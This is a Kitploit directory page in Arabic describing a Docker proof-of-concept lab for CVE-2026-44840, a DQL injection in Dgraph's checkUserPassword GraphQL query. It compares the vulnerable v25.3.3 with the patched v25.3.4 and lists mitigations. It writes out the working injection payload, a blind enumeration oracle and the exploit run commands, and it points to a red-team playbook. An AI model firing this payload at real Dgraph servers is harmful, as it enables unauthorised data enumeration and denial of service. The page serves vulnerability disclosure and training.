Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-44840-poc — مختبر Docker يعيد إنتاج CVE-2026-44840، وهو حقن DQL في استعلام checkUserPassword GraphQL الخاص بـ Dgraph، مع نص استغلال ومقارنة بين النسخة المصابة والنسخة المُرقّعة. | Kitploit
أدوات/GitHubGitHub/isaca0315/cve-2026-44840-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالفريق الأحمرأمن قواعد البياناتمختبرات وتدريب عملي
GitHubisaca0315/cve-2026-44840-poc

CVE-2026-44840-poc

مختبر Docker يعيد إنتاج CVE-2026-44840، وهو حقن DQL في استعلام checkUserPassword GraphQL الخاص بـ Dgraph، مع نص استغلال ومقارنة بين النسخة المصابة والنسخة المُرقّعة.

عرض المستودع
منذ يوم واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-44840 — PoC: حقن Dgraph DQL عبر checkUserPassword (GraphQL)

مختبر Docker يعيد إنتاج حقن حقيقي في Dgraph:

  • قابل للاستغلال: dgraph/dgraph:v25.3.3
  • مُرقَّع : dgraph/dgraph:v25.3.4

ثغرة CVE حقيقية لعام 2026 · CVSS 3.1 7.5 (High) · CWE-943 (Improper Neutralization in Data Query Logic) · منسوبة إلى Kai Aizen (GHSA-q2m9-6jp9-c6mc، GO-2026-5837). فقط لبيئة مختبر معزولة ومصرح بها.

السياق

checkUserPassword هي استعلام GraphQL الذي يولّده Dgraph تلقائيًا في المخطط للأنواع التي تحمل التوجيه . في (≤ v25.3.3) كانت كلمة المرور تُدمج باستخدام :

@secret(field: "password")
graphql/resolve/query_rewriter.go
fmt.Sprintf
دون تهريب أو تمرير كمعامل
root@kitploit:~
pwdVar := fmt.Sprintf(`checkpwd(%s, "%s")`, predicate, password)   // VULNERABLE

كلمة مرور المهاجم تُدرج حرفيًا داخل DQL:

root@kitploit:~
pwd as checkpwd(User.password, "<password del atacante>")

الإصلاح (v25.3.4، commit cee702c) يمرّر القيمة كمعامل:

root@kitploit:~
pwdVar = "$pwd0"                                  // FIX
// executa con &dgoapi.Request{Query: qry, Vars: map[string]string{"$pwd0": password}, ...}

ماذا يفعل الـ PoC

  1. يشغّل مجموعتين من Dgraph (zero+alpha): v25.3.3 و v25.3.4.

  2. يرفع المخطط type User @secret(field: "password") وينشئ admin و alice و bob.

  3. يرسل إلى checkUserPassword كلمة مرور تخرج من النص الحرفي لـ DQL وتضيف كتلة استعلام عشوائية:

    root@kitploit:~
    x")
    }
    injected(func: has(User.name)) {
      User.name
      User.email
      uid
    }
    #
    

    في v25.3.3 تُحلَّل الكتلة injected { ... } وتُنفَّذ من جهة الخادم.

الملاحظات

الاختبارv25.3.3 (قابل للاستغلال)v25.3.4 (مُرقَّع)
تسجيل الدخول بكلمة مرور صحيحةOK (touched_uids 7)OK (touched_uids 7)
تسجيل الدخول بكلمة مرور خاطئةnull (5)null (5)
كلمة مرور محقونة )} injected{...} #تُنفَّذ: touched_uids 14مُبطَّلة: 5
أوراكل: eq(User.name,"bob") محقونtouched_uids 7 (موجود)5
أوراكل: eq(User.name,"nobody") محقون5 (غير موجود)5
سجل dgraph alphaيُظهر DQL مع الكتلة injectedDQL مُمرَّر كمعامل، بدون كتلة

تأثير CVE: تنفيذ DQL عشوائي من جهة الخادم → تعداد أعمى للبيانات (عبر touched_uids/timing)، واكتشاف المخطط (has()، eq()) وDoS عبر استهلاك الموارد بحقن اجتيازات مكلفة (expand(_all_)، recursiones).

الاستخدام

root@kitploit:~
# 1) levantar todo, preparar esquema/usuarios y ejecutar el exploit
bash run.sh

# 2) solo el exploit (si el lab ya esta preparado)
python3 exploit/exploit.py

# 3) montar el entorno desde cero (pod / volcado)
docker compose up -d
python3 setup/setup.py --alpha http://localhost:8180
python3 setup/setup.py --alpha http://localhost:8280

# 4) limpiar
docker compose down            # conserva los volumenes
docker compose down -v         # borra los volumenes (datos de dgraph)

نقاط نهاية المختبر

الخدمةHTTP GraphQLHTTP admingRPC alpha
alpha v25.3.3http://localhost:8180/graphqlhttp://localhost:8180/admin9180
alpha v25.3.4http://localhost:8280/graphqlhttp://localhost:8280/admin9280

البنية

root@kitploit:~
CVE-2026-44840-poc/
├── docker-compose.yml     # 2 clusters: zero+alpha v25.3.3 / v25.3.4
├── schema.graphql         # type User @secret(field:"password")
├── run.sh                 # orquestador completo
├── REDTEAM.md             # guía red team: recon + explotación paso a paso + OPSEC
├── setup/setup.py         # esquema + usuarios
└── exploit/exploit.py     # inyeccion DQL e oraculo

دليل عملياتي هجومي (الاستطلاع، الاستغلال خطوة بخطوة، الحمولات، الأدلة و OPSEC): REDTEAM.md.

تفاصيل الحمولة

كلمة المرور تُرسَل كمتغير GraphQL؛ القيمة التي تصل إلى الـ rewriter لا تُهرَّب وتُدرج داخل checkpwd(User.password, "..."). الحمولة:

root@kitploit:~
x")            # cierra el literal de checkpwd y la funcion
}              # cierra el bloque checkPwd
injected(...)  # nuevo bloque root del atacante
  { ... }
#              # comenta el resto del template:  ")

الـ # يمنع لاحقة القالب (علامة " لإغلاق checkpwd) من إفساد التحليل.

التخفيف

  • التحديث إلى dgraph v25.3.4+.
  • نسخة مختصرة: مرّر القيم دائمًا كمعاملات في DQL (vars من dgoapi.Request)، ولا تُدرج المدخلات أبدًا باستخدام fmt.Sprintf.
  • فعّل الفهرس/ACL ولا تُعرّض GraphQL بدون مصادقة في الإنتاج.# CVE-2026-44840-poc
تنزيل الأداة